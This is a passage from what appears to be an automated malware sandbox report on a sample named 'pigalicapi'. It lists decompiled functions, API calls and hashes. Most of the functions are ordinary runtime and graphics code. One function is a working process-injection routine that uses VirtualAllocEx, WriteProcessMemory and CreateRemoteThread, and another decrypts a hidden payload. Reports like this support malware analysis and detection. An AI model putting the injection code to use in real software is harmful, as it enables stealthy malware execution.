					_t10 = RtlAllocateHeap( *0x881004, 8, _t24); // executed
					__eflags = 0;
					if(0 == 0) {
						goto L7;
					}
					L14:
					return _t10;
					goto L15;
					L7:
					__eflags =  *0x88166c;
					if( *0x88166c == 0) {
						_t19 = _a12;
						__eflags = _t19;
						if(_t19 != 0) {
							 *_t19 = 0xc;
						}
					} else {
						_t11 = E00818912(_t10, _t24);
						__eflags = _t11;
						if(_t11 != 0) {
							L5:
							_t10 = 0;
							__eflags = _t24 - 0xffffffe0;
							if(_t24 > 0xffffffe0) {
								goto L7;
							} else {
								goto L6;
							}
						} else {
							_t12 = _a12;
							__eflags = _t12;
							if(_t12 != 0) {
								 *_t12 = 0xc;
							}
							_t10 = 0;
						}
					}
					goto L14;
				} else {
					_t13 = 0xffffffe0;
					_t27 = _t13 / _t17 - _a8;
					if(_t13 / _t17 >= _a8) {
						goto L3;
					} else {
						 *((intOrPtr*)(E00817A0D(_t27))) = 0xc;
						return 0;
					}
				}
				L15:
			}

0x0081d317
0x0081d31c
0x0081d339
0x0081d33e
0x0081d340
0x0081d342
0x0081d344
0x0081d344
0x0081d344
0x00000000
0x0081d34c
0x0081d355
0x0081d35b
0x0081d35d
0x00000000
0x00000000
0x0081d391
0x0081d393
0x00000000
0x0081d35f
0x0081d35f
0x0081d366
0x0081d384
0x0081d387
0x0081d389
0x0081d38b
0x0081d38b
0x0081d368
0x0081d369
0x0081d36f
0x0081d371
0x0081d345
0x0081d345
0x0081d347
0x0081d34a
0x00000000
0x00000000
0x00000000
0x00000000
0x0081d373
0x0081d373
0x0081d376
0x0081d378
0x0081d37a
0x0081d37a
0x0081d380
0x0081d380
0x0081d371
0x00000000
0x0081d31e
0x0081d322
0x0081d325
0x0081d328
0x00000000
0x0081d32a
0x0081d32f
0x0081d338
0x0081d338
0x0081d328
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,008191AA,?,?,00000000,00000000,00000000,?,0081751F,00000001,00000214,?,?), ref: 0081D355

Part of subcall function 00817A0D: __getptd_noexit.LIBCMT ref: 00817A0D

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: e1fbe10c25a9faa3b1372e7f37e9c3de72c2f999f3793fa6bd2b5cc865c1f600
Instruction ID: c6711df54e880d6e140ac53fbb8ae1b26c11d749d05de5b3ac1dc32ff3110b45
Opcode Fuzzy Hash: e1fbe10c25a9faa3b1372e7f37e9c3de72c2f999f3793fa6bd2b5cc865c1f600
Instruction Fuzzy Hash: 440175322013159AEB299F29DC04BEA375CFF81760F04861DE865DB290EB3498808752

Uniqueness

Uniqueness Score: -1.00%

Function 02B51840 Relevance: 1.5, APIs: 1, Instructions: 15libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 02B51848

Memory Dump Source

Source File: 00000001.00000002.718905728.0000000002B51000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2b51000_pigalicapi.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 32058807013959bc75ca9eb29078aa9c7ffb39fbeb41f5a80dfb52158778d1e3
Instruction ID: 494311dc5f11c2ed5546a9b413aae3ae819c9a7d152234ae656286f103779493
Opcode Fuzzy Hash: 32058807013959bc75ca9eb29078aa9c7ffb39fbeb41f5a80dfb52158778d1e3
Instruction Fuzzy Hash: F6D09E74D1521CFBCB20DAA8D94475DB7F8DB09291F1045D8ED0D9B200E635AA509694

Uniqueness

Uniqueness Score: -1.00%

Function 008173BD Relevance: 1.5, APIs: 1, Instructions: 3COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,0081CC32,00881040,00000314,00000000,?,?,?,?,?,00818858,00881040,Microsoft Visual C++ Runtime Library,00012010), ref: 008173BF

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 44ace95ad34701e3985361f28ca6fd392dd25a10f66d2e0a26c0cc9338523da1
Instruction ID: 1f06bf96eb2fcb5b6f04f6da5ee71aa24f81936f18059d333985ec77e2a39efe
Opcode Fuzzy Hash: 44ace95ad34701e3985361f28ca6fd392dd25a10f66d2e0a26c0cc9338523da1
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 02B519F0 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,02B51A51,00003000,00000004,000000BE,?,02B51A51,?), ref: 02B51A01

Memory Dump Source

Source File: 00000001.00000002.718905728.0000000002B51000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2b51000_pigalicapi.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ef1dc2246bb9c78b26690423c7532f411c559424b9268388900a5387131f747c
Instruction ID: a3ab8f44e21ba05b55e511f217f891a8a1c53c278b3c2be7199f643884c8ed52
Opcode Fuzzy Hash: ef1dc2246bb9c78b26690423c7532f411c559424b9268388900a5387131f747c
Instruction Fuzzy Hash: EFD0C9B4A85308BBE710CA84DC06F69BBACDB04651F004185FE089B380D5B1AE1056A1

Uniqueness

Uniqueness Score: -1.00%

Function 02B51820 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 02B5182F

Memory Dump Source

Source File: 00000001.00000002.718905728.0000000002B51000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2b51000_pigalicapi.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 1e9d92f0c14906e5e78f2ccaa06530f67dbc96f1056fd7f083bd70212eac788c
Instruction ID: ce02bb0423f1ed4ff3e0cabb146a2299b7acf876235963d661c533819ff09b0e
Opcode Fuzzy Hash: 1e9d92f0c14906e5e78f2ccaa06530f67dbc96f1056fd7f083bd70212eac788c
Instruction Fuzzy Hash: D7C04C7655430CAB8B04DF98E884EAB37EDBB8C650B048548BA1D87200C630F9108BA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04008CF0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 96
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E04008CF0(BYTE* _a4, DWORD* _a8, intOrPtr _a12, intOrPtr _a16) {
				int _v8;
				long* _v12;
				int _v16;
				char _v20;
				long* _v24;
				char* _t31;
				int _t32;
				intOrPtr _t34;
				long** _t35;
				char* _t52;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L15:
					return _v8;
				} else {
					_v12 = 0;
					_t31 =  *0x4013370; // 0x400c6e4
					_t32 = CryptAcquireContextA( &_v12, _t31, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0);
					if(_t32 == 0) {
						_t32 = GetLastError();
						_v16 = _t32;
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t52 =  *0x4013370; // 0x400c6e4
							_t32 = CryptAcquireContextA( &_v12, _t52, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v20);
						if(_t32 != 0) {
							_t34 = _a16;
							__imp__CryptHashData(_v20, _a12, _t34, 0);
							if(_t34 != 0) {
								_v24 = 0;
								_t35 =  &_v24;
								__imp__CryptDeriveKey(_v12, 0x6801, _v20, 1, _t35);
								if(_t35 != 0) {
									_v8 = CryptDecrypt(_v24, 0, 1, 0, _a4, _a8);
									CryptDestroyKey(_v24);
								}
							}
							__imp__CryptDestroyHash(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L15;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008D3F
GetLastError.KERNEL32 ref: 04008D49
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008D78
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008D99
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008DB1
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 04008DD5
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008DF1
CryptDestroyKey.ADVAPI32(00000000), ref: 04008DFE
CryptDestroyHash.ADVAPI32(00000000), ref: 04008E08
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008E14

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008D30
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008D68

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$ContextHash$AcquireDestroy$CreateDataDecryptDeriveErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3718126946-947817771
Opcode ID: 71c9adc9b467ae165da43e1669a7b73bdd10744fd139576a6c229d191573f996
Instruction ID: a60922051ccac58686ce7bb6d252e90d8c3d4a9338f0118c5879c090c3d284f0
Opcode Fuzzy Hash: 71c9adc9b467ae165da43e1669a7b73bdd10744fd139576a6c229d191573f996
Instruction Fuzzy Hash: E5311B75A44209EBFB58DFA4C849BAE77B9FB44704F10C628F601B61C0D7B8A984CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04002510 Relevance: 12.1, APIs: 8, Instructions: 149
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04002510(void* _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				long _v28;
				void* _v32;
				signed int _v36;
				void* _t138;
				void* _t139;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L14:
					return _v8;
				} else {
					_v24 = _a8 +  *((intOrPtr*)(_a8 + 0x3c));
					_v20 = _v24 + ( *(_v24 + 0x14) & 0x0000ffff) + 0x18;
					_v12 =  *((intOrPtr*)(_v24 + 0x50));
					_v16 = VirtualAlloc(0, _v12, 0x3000, 0x40);
					if(_v16 != 0) {
						_v32 = VirtualAllocEx(_a4,  *(_v24 + 0x34), _v12, 0x3000, 0x40);
						if(_v32 != 0) {
							L7:
							E04007B70(_v16, _a8,  *((intOrPtr*)(_v24 + 0x54)));
							_t139 = _t138 + 0xc;
							_v36 = 0;
							while(_v36 < ( *(_v24 + 6) & 0x0000ffff)) {
								E04007B70(_v16 +  *((intOrPtr*)(_v20 + 0xc + _v36 * 0x28)), _a8 +  *((intOrPtr*)(_v20 + 0x14 + _v36 * 0x28)),  *((intOrPtr*)(_v20 + 0x10 + _v36 * 0x28)));
								_t139 = _t139 + 0xc;
								_v36 = _v36 + 1;
							}
							E040026D0(_v16, _v32);
							if(WriteProcessMemory(_a4, _v32, _v16, _v12, 0) != 0) {
								VirtualFree(_v16, 0, 0x8000);
								_v28 = 0;
								_v8 = CreateRemoteThread(_a4, 0, 0, _v32 +  *((intOrPtr*)(_v24 + 0x28)), 0x11, 0,  &_v28);
								goto L14;
							}
							VirtualFree(_v16, 0, 0x8000);
							return 0;
						}
						_v32 = VirtualAllocEx(_a4, 0, _v12, 0x103000, 0x40);
						if(_v32 != 0) {
							goto L7;
						}
						VirtualFree(_v16, 0, 0x8000);
						return 0;
					}
					return 0;
				}
			}

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 04002564
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00003000,00000040), ref: 04002590
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00103000,00000040), ref: 040025B0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040025CA

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: 7b5e2a0a0879127798f9ea868be388b8c75a87b6f8ac87fe0ac4160dfdf198bf
Instruction ID: c64b90f60543cdd9f1b152a56a7e8b33ad9649d5cc2119a14d9a029aa2c63625
Opcode Fuzzy Hash: 7b5e2a0a0879127798f9ea868be388b8c75a87b6f8ac87fe0ac4160dfdf198bf
Instruction Fuzzy Hash: D0510D75E00209AFEB18DF94C895FAEB7B5FB48305F10C558E615BB280D778A981CB64

Uniqueness

Uniqueness Score: -1.00%

Function 008159E6 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E008159E6(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x869060; // 0xda7e2511
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x880db8 = _t6;
				 *0x880db4 = _t22;
				 *0x880db0 = _t25;
				 *0x880dac = _t21;
				 *0x880da8 = _t27;
				 *0x880da4 = _t26;
				 *0x880dd0 = ss;
				 *0x880dc4 = cs;
				 *0x880da0 = ds;
				 *0x880d9c = es;
				 *0x880d98 = fs;
				 *0x880d94 = gs;
				asm("pushfd");
				_pop( *0x880dc8);
				 *0x880dbc =  *_t31;
				 *0x880dc0 = _v0;
				 *0x880dcc =  &_a4;
				 *0x880d08 = 0x10001;
				_t11 =  *0x880dc0; // 0x0
				 *0x880cbc = _t11;
				 *0x880cb0 = 0xc0000409;
				 *0x880cb4 = 1;
				_t12 =  *0x869060; // 0xda7e2511
				_v812 = _t12;
				_t13 =  *0x869064; // 0x2581daee
				_v808 = _t13;
				 *0x880d00 = IsDebuggerPresent();
				_push(1);
				E0081A4FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x820570);
				if( *0x880d00 == 0) {
					_push(1);
					E0081A4FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x008159e6
0x008159e6
0x008159e6
0x008159e6
0x008159e6
0x008159e6
0x008159e6
0x008159ec
0x008159ee
0x008159ee
0x008168a5
0x008168aa
0x008168b0
0x008168b6
0x008168bc
0x008168c2
0x008168c8
0x008168cf
0x008168d6
0x008168dd
0x008168e4
0x008168eb
0x008168f2
0x008168f3
0x008168fc
0x00816904
0x0081690c
0x00816917
0x00816921
0x00816926
0x0081692b
0x00816935
0x0081693f
0x00816944
0x0081694a
0x0081694f
0x0081695b
0x00816960
0x00816962
0x0081696a
0x00816975
0x00816982
0x00816984
0x00816986
0x0081698b
0x0081699f

APIs

IsDebuggerPresent.KERNEL32 ref: 00816955
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0081696A
UnhandledExceptionFilter.KERNEL32(00820570), ref: 00816975
GetCurrentProcess.KERNEL32(C0000409), ref: 00816991
TerminateProcess.KERNEL32(00000000), ref: 00816998

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: ad3638bcbc8f6f775050d88b99d197ed22eefe19fb2ff6890fec4b1232770051
Instruction ID: 951992373586c5e0c02c1ff38ca70503d7d46c7d71c6d4f9c9367136ef5eae6b
Opcode Fuzzy Hash: ad3638bcbc8f6f775050d88b99d197ed22eefe19fb2ff6890fec4b1232770051
Instruction Fuzzy Hash: 80219CB5805304DFD790DFADED49A947BB8FB48310F50921AE94896372E7B069898F06

Uniqueness

Uniqueness Score: -1.00%

Function 00813960 Relevance: 63.3, APIs: 35, Strings: 1, Instructions: 305
windowCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00813960(struct HBRUSH__* __ecx, struct HDC__* __edx, struct HDC__** _a4, int _a8, int _a12, int _a16, int _a20, struct HDC__* _a24, void* _a28) {
				signed int _v12;
				intOrPtr _v16;
				int _v24;
				int _v28;
				int _v32;
				int _v36;
				int _v40;
				int _v44;
				intOrPtr _v48;
				int _v52;
				int _v56;
				struct tagBITMAPINFO _v60;
				struct tagRECT _v76;
				struct HDC__* _v80;
				struct HDC__* _v84;
				struct HDC__* _v88;
				struct HDC__* _v92;
				struct HDC__** _v96;
				void* _v100;
				struct HBITMAP__* _v104;
				struct HBITMAP__* _v108;
				void* _v112;
				void* _v116;
				void* _v120;
				void* _v124;
				void* _v128;
				struct HBRUSH__* _v132;
				void* _v136;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t90;
				struct HDC__* _t92;
				void* _t98;
				void* _t119;
				void* _t120;
				struct HDC__* _t121;
				int _t141;
				int _t155;
				struct HDC__* _t156;
				long _t178;
				struct HBRUSH__* _t194;
				struct HDC__** _t201;
				struct HDC__* _t202;
				struct HDC__** _t203;
				struct HDC__* _t204;
				void* _t205;
				struct HDC__* _t206;
				void* _t207;
				signed int _t208;

				_t184 = __edx;
				_t90 =  *0x869060; // 0xda7e2511
				_v12 = _t90 ^ _t208;
				_t92 = _a24;
				_t155 = _a20;
				_t201 = _a4;
				_v132 = __ecx;
				_v96 = _t201;
				_v92 = _t92;
				_v100 = __edx;
				_v120 = _a28;
				if(_t92 == 0) {
					_t184 =  *_t201;
					_t92 = CreateCompatibleDC( *_t201);
				}
				_v80 = _t92;
				if(_t92 == 0) {
					L6:
					return E008159E6(0, _t155, _v12 ^ _t208, _t184, _t201, _t206);
				} else {
					_t206 = CreateCompatibleDC( *_t201);
					_v88 = _t206;
					if(_t206 != 0) {
						_v56 = _a16;
						_t186 =  &_v60;
						_v60.bmiHeader = 0x28;
						_v52 = _t155;
						_v48 = 0x10001;
						_v44 = 0;
						_v40 = 0;
						_v36 = 0;
						_v32 = 0;
						_v28 = 0;
						_v24 = 0;
						_v60.bmiColors = 0;
						_v16 = 0xffffff;
						_t98 = CreateDIBSection(_t206,  &_v60, 0,  &_v136, 0, 0);
						_v116 = _t98;
						if(_t98 != 0) {
							_t207 = SelectObject;
							_v124 = SelectObject(_t206, _t98);
							_t202 = CreateCompatibleDC( *_t201);
							_v84 = CreateCompatibleDC( *_v96);
							_v104 = CreateCompatibleBitmap(_v80, _a16, _t155);
							_v108 = CreateBitmap(_a16, _t155, 1, 1, 0);
							_v128 = SelectObject(_t202, _v104);
							_v112 = SelectObject(_v84, _v108);
							BitBlt(_t202, 0, 0, _a16, _t155, _v80, 0, 0, 0xcc0020);
							SetBkColor(_t202, 0x808080);
							BitBlt(_v84, 0, 0, _a16, _t155, _t202, 0, 0, 0xcc0020);
							BitBlt(_t202, 0, 0, _a16, _t155, _v84, 0, 0, 0x660046);
							BitBlt(_v88, 0, 0, _a16, _t155, _t202, 0, 0, 0xcc0020);
							SelectObject(_t202, _v128);
							SelectObject(_v84, _v112);
							_t119 = _v108;
							if(_t119 != 0) {
								DeleteObject(_t119);
							}
							_t120 = _v104;
							if(_t120 != 0) {
								DeleteObject(_t120);
							}
							_t121 = _v84;
							if(_t121 != 0) {
								DeleteDC(_t121);
							}
							if(_t202 != 0) {
								DeleteDC(_t202);
							}
							_t194 = _v132;
							_t203 = _v96;
							if(_t194 != 0) {
								_t141 = _a12;
								_t178 = _a8;
								_v76.top = _t141;
								_v76.left = _t178;
								_v76.bottom = _t141 + _t155;
								_v76.right = _t178 + _a16;
								FillRect( *_t203,  &_v76, _t194);
							}
							_v100 = SelectObject( *_t203, _v100);
							BitBlt( *_t203, _a8 + 1, _a12 + 1, _a16, _t155, _v88, 0, 0, 0xb8074a);
							SelectObject( *_t203, _v120);
							BitBlt( *_t203, _a8, _a12, _a16, _t155, _v88, 0, 0, 0xb8074a);
							_t200 =  *_t203;
							SelectObject( *_t203, _v100);
							_t156 = _v88;
							SelectObject(_t156, _v124);
							_t204 = _v80;
							SelectObject(_t204, 0);
							if(_v92 == 0) {
								DeleteDC(_t204);
							}
							DeleteObject(_v116);
							DeleteDC(_t156);
							return E008159E6(1, _t156, _v12 ^ _t208, _t200, _t204, _t207);
						} else {
							_t205 = DeleteDC;
							if(_v92 == _t98) {
								DeleteDC(_v80);
							}
							DeleteDC(_t206);
							return E008159E6(0, _t155, _v12 ^ _t208, _t186, _t205, _t206);
						}
					} else {
						if(_v92 == 0) {
							DeleteDC(_v80);
						}
						goto L6;
					}
				}
			}

0x00813960
0x00813969
0x00813970
0x00813973
0x00813977
0x0081397c
0x0081397f
0x00813985
0x00813988
0x0081398b
0x0081398e
0x00813993
0x00813995
0x00813998
0x00813998
0x0081399e
0x008139a3
0x008139c8
0x008139da
0x008139a5
0x008139ae
0x008139b2
0x008139b7
0x008139e9
0x008139ed
0x008139f2
0x008139f9
0x008139fc
0x00813a03
0x00813a06
0x00813a09
0x00813a0c
0x00813a0f
0x00813a12
0x00813a15
0x00813a18
0x00813a1f
0x00813a25
0x00813a2a
0x00813a57
0x00813a62
0x00813a6e
0x00813a82
0x00813a91
0x00813aa4
0x00813aac
0x00813acd
0x00813ad0
0x00813adc
0x00813af9
0x00813b16
0x00813b33
0x00813b3e
0x00813b48
0x00813b4a
0x00813b4f
0x00813b52
0x00813b52
0x00813b58
0x00813b5d
0x00813b60
0x00813b60
0x00813b66
0x00813b6b
0x00813b6e
0x00813b6e
0x00813b76
0x00813b79
0x00813b79
0x00813b7f
0x00813b82
0x00813b87
0x00813b89
0x00813b8c
0x00813b8f
0x00813b92
0x00813b9a
0x00813ba1
0x00813ba8
0x00813ba8
0x00813bcb
0x00813bd9
0x00813be6
0x00813c05
0x00813c0e
0x00813c12
0x00813c17
0x00813c1c
0x00813c1e
0x00813c24
0x00813c2a
0x00813c2d
0x00813c2d
0x00813c37
0x00813c3e
0x00813c59
0x00813a2c
0x00813a2c
0x00813a35
0x00813a3b
0x00813a3b
0x00813a3e
0x00813a52
0x00813a52
0x008139b9
0x008139bc
0x008139c2
0x008139c2
0x00000000
0x008139bc
0x008139b7

APIs

CreateCompatibleDC.GDI32(00000000), ref: 00813998
CreateCompatibleDC.GDI32(?), ref: 008139A8
DeleteDC.GDI32(?), ref: 008139C2
CreateDIBSection.GDI32(00000000,00812057,00000000,?,00000000,00000000), ref: 00813A1F
DeleteDC.GDI32(?), ref: 00813A3B
DeleteDC.GDI32(00000000), ref: 00813A3E
SelectObject.GDI32(00000000,00000000), ref: 00813A5D
CreateCompatibleDC.GDI32 ref: 00813A65
CreateCompatibleDC.GDI32(00000000), ref: 00813A73
CreateCompatibleBitmap.GDI32(?,00000000,?), ref: 00813A85
CreateBitmap.GDI32(00000000,?,00000001,00000001,00000000), ref: 00813A99
SelectObject.GDI32(00000000,?), ref: 00813AA7
SelectObject.GDI32(?,?), ref: 00813AB4
BitBlt.GDI32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00CC0020), ref: 00813AD0
SetBkColor.GDI32(00000000,00808080), ref: 00813ADC
BitBlt.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00CC0020), ref: 00813AF9
BitBlt.GDI32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00660046), ref: 00813B16
BitBlt.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00CC0020), ref: 00813B33
SelectObject.GDI32(00000000,?), ref: 00813B3E
SelectObject.GDI32(?,?), ref: 00813B48
DeleteObject.GDI32(?), ref: 00813B52
DeleteObject.GDI32(?), ref: 00813B60
DeleteDC.GDI32(?), ref: 00813B6E
DeleteDC.GDI32(00000000), ref: 00813B79
FillRect.USER32 ref: 00813BA8
SelectObject.GDI32(?,?), ref: 00813BB5
BitBlt.GDI32(00000000,01000000,00000001,00000000,?,?,00000000,00000000,00B8074A), ref: 00813BD9
SelectObject.GDI32(?,?), ref: 00813BE6
BitBlt.GDI32(00000000,00FFFFFF,00000000,00000000,?,?,00000000,00000000,00B8074A), ref: 00813C05
SelectObject.GDI32(?,?), ref: 00813C12
SelectObject.GDI32(?,?), ref: 00813C1C
SelectObject.GDI32(?,00000000), ref: 00813C24
DeleteDC.GDI32(?), ref: 00813C2D
DeleteObject.GDI32(?), ref: 00813C37
DeleteDC.GDI32(?), ref: 00813C3E

Strings

(, xrefs: 008139F2

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Object$DeleteSelect$Create$Compatible$Bitmap$ColorFillRectSection
String ID: (
API String ID: 1654306582-3887548279
Opcode ID: 4585c1739067250b83ff4e6830931e3253784325d891f78b6e7bfd9162d3759d
Instruction ID: f8dd3398bfdd27ccb66dc13f4b59dcdd70326440b2d4c4c082a271f320fb6a95
